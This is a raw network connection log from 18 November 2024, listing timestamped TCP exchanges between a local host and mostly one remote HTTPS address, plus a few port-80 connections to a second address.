Nov 18, 2024 21:04:00.390908003 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.390922070 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.390928984 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.393210888 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.393220901 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.393281937 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.393424034 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.393436909 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.429491997 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430228949 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430243969 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430284977 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.430315971 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.430326939 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430341005 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.430346012 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430387020 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430449963 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.430540085 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.430562019 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.430586100 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.430596113 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.433084965 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.433109045 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.433181047 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.433298111 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.433307886 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.433329105 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.433372021 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.433434010 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.433595896 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.433605909 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.531928062 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.532399893 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.532418966 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.532883883 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.532887936 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.535410881 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.542042971 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.542119980 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.542463064 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.542478085 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.543112993 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.543375015 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.543436050 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.543452024 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.543852091 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.543863058 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.544153929 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.544167995 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.544450045 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.544456005 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.599550009 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.599927902 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.599950075 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.600323915 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.600328922 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.663510084 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.663563967 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.663656950 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.663866997 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.663883924 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.663894892 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.663899899 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.666543007 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.666590929 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.666663885 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.666796923 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.666814089 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.671701908 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.671772957 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.671921968 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.672013998 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.672055960 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.672085047 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.672101021 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.673825979 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.673867941 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.675509930 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.675760984 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.675776005 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.677330017 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.677470922 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.677562952 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.677584887 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.677591085 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.677604914 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.677609921 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.679409027 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.679424047 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.679483891 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.679584980 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.679595947 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.682143927 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.682562113 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.682629108 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.682764053 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.682764053 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.682775974 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.682785988 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.684535027 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.684576035 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.684753895 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.684755087 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.684813023 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.756730080 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.756879091 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.756963968 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.757185936 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.757208109 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.757216930 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.757221937 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.759941101 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.760023117 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:01.760112047 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.760282040 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:01.760303020 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.573956966 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.574561119 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.574691057 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.598361969 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.598392963 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.598833084 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.598839045 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.599226952 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.599242926 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.599870920 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.599874973 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.602221012 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.602235079 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.602628946 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.602634907 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.699065924 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.750190020 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.754422903 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.754451990 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.754570007 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.754627943 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.754640102 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.754686117 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.756411076 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.757580042 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.757642031 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.771008015 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.812583923 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.827593088 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.827614069 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.828041077 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.828048944 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.913008928 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.913072109 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.913929939 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.913943052 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.914134979 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.914164066 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.914179087 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.914187908 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.920293093 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.920321941 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.920334101 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.920340061 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.921844006 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.921870947 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.921886921 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.921896935 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.957309008 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.957351923 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.957413912 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.957542896 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.957549095 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.958101988 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.958184958 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.958252907 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.958410025 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.958431959 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.958807945 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.958853960 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.958914042 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.959090948 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.959104061 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.960794926 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.960860968 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.960901976 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.961016893 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.961024046 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.961036921 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.961040974 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.963870049 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.963948965 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:02.964026928 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.964118958 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:02.964153051 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.041671991 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.041841030 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.041902065 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.041969061 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.041969061 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.042011023 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.042052984 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.044452906 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.044492960 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.044559956 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.044652939 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.044661999 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.691658020 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.693346977 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.693371058 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.693795919 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.693800926 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.694176912 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.694535971 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.694569111 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.694878101 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.694885015 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.717629910 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.718091965 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.718154907 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.718353033 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.718368053 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.718849897 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.719253063 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.719316959 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.719494104 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.719510078 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.783127069 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.783489943 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.783536911 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.783860922 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.783874035 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.822663069 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.823041916 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.823462963 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.823487997 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.823548079 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.823596954 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.823616982 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.823627949 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.823633909 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.823642015 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.823642015 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.823642015 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826354027 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826385021 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.826401949 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826450109 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826492071 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.826570034 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826617956 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826633930 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.826713085 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.826750040 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.851238012 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.851356030 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.851543903 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.852050066 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.852050066 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.852094889 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.852124929 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.852756977 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.852811098 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.852875948 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.852984905 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.852984905 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.853029966 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.853060007 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.855094910 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.855161905 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.855516911 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.855667114 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.855686903 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.855689049 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.855696917 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.855757952 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.855853081 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.855869055 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.911418915 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.911660910 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.911881924 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.911881924 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.911881924 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.913991928 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.914014101 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.914273024 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.914398909 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:03.914410114 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:03.982165098 CET	49768	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:03.987154007 CET	80	49768	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:03.987229109 CET	49768	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:03.987413883 CET	49768	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:03.992567062 CET	80	49768	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:04.125085115 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.125085115 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.125128984 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.125147104 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.563536882 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.564055920 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.564085007 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.564675093 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.564682007 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.564735889 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.565203905 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.565248966 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.565762997 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.565776110 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.593431950 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.593807936 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.593827963 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.594394922 CET	49765	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.594400883 CET	443	49765	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.642832041 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.643443108 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.643460035 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.644016981 CET	49766	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.644023895 CET	443	49766	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.651385069 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.656172991 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.656184912 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.657058001 CET	49767	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.657062054 CET	443	49767	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.693509102 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.694314003 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.694366932 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.694411993 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.694441080 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.694454908 CET	49764	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.694463015 CET	443	49764	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.698242903 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.698278904 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.698335886 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.698502064 CET	49769	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.698513985 CET	443	49769	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.710546017 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.710618019 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.710671902 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.711061954 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.711080074 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.711097002 CET	49763	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.711103916 CET	443	49763	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:04.713932037 CET	49770	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:04.713994026 CET	443	49770	13.107.246.45	192.168.2.4
